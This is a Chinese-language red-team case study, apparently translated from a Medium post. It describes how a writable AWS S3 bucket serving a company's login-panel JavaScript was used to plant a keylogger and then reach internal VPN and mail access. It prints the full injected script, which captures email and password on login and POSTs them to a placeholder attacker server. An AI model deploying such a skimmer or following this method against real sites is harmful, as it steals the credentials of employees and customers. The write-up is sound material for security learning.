千元稿费!还有保底奖励~(https://bbs.zkaq.cn)
前言
AWS的S3存储桶,从托管网站的静态文件(JavaScript、CSS、HTML、图像)到敏感文件(包括PII)的云存储,它们因其不同的用例而变得流行。
如果我们看看GrayhatWarfare(https://grayhatwarfare.com/),我们会看到数千个不同的开放云存储单元(AWS,Azure,Google和DigitalOcean),任何人都可以读取文件,在许多情况下-任何人都可以对这些存储单元具有写入权限!
在我去年的红队工作中,我以不同的方式利用开放的S3桶,最终帮助我了目标的主要资产。
在这里,我将讲述一个案例,发现S3具有写权限,使我最终能够控制公司的大部分基础设施。
正文
这次红队的目标是一家没有太多互联网资产的公司,这意味着从外部角度来看,攻击面很小。
从域名和子域枚举开始,我发现了以下资产:
- redacted.com主要网站,客户在那里消费产品
- dev.redacted.com一个临时网站,未经身份验证的用户返回403
- panel.redacted.com是客户和网站管理员的另一个子域
- internal.redacted.com公司员工的专网服务器,未经身份验证的用户返回403
- mail.redacted.com为该公司的员工邮件服务器,未经身份验证的用户返回403
- api.redacted.com帐户子域的API服务器
对所有这些资产进行彻底的Web渗透测试,除了面板子域中一个没有什么危害的IDOR之外,并没有给我带来任何重大漏洞。
我开始检查面板子域的HTML和JavaScript文件,不久我注意到该网站正在从AWS S3存储桶redactedstatic.s3.amazonaws.com调用一些静态JS文件。
所以我试着抓住机会看看我是否能进入桶:
能够访问!但我们仍然不知道我们是否有写权限。让我们试试:
将文件复制到目标的S3存储桶
很好,现在我们知道我们对panel.redacted.com使用的静态文件具有读写权限。我提出了以下想法:
- 对文件进行破坏--只是开玩笑,这不值得红队花时间
- 编写脚本窃取用户的cookie
- 在登录页面上编写键盘记录程序以窃取用户和管理员的凭据
我决定从以下原因去第三个选项:我们知道,该公司的员工也使用面板子域,所以如果我偷他们的凭据,我将能够使用它们登录到该公司的专网.
所以我就这么做了。我在S3存储桶中的一个现有JS文件中植入了以下混淆后的JavaScript代码:
document
.getElementById(
'login'
).addEventListener(
'click'
,
function
()
{
var
username =
document
.getElementById(
'email'
).value;
var
password =
document
.getElementById(
'password'
).value;
var
credentials = {
username
: username,
password
: password
};
var
req = {
method
:
'POST'
,
headers
: {
'Content-Type'
:
'application/json'
},
body
:
JSON
.stringify(credentials)
};
fetch(
'https://MY-SERVER'
, req);
});
在将恶意代码注入网站后,我的服务器收到许多用户名和密码。为了只关注目标本身而不是它的客户,我在用户名(@redacted.com)中过滤目标的电子邮件域。
幸运的是,我在一天之内收集了超过11份目标员工的有效凭据,经过LinkedIn的比对,发现其中一些是高管和技术人员!
最后,我使用其中一些凭据成功登录到VPN,然后登录到目标的邮件服务器!
以上内容由白帽子左一翻译并整理。原文:https://medium.com/@red.whisperer/from-s3-bucket-to-internal-network-operation-8073954932b4
声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。
原文始发于微信公众号(白帽子左一):红队攻防 | 从S3存储桶到企业内部专网
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论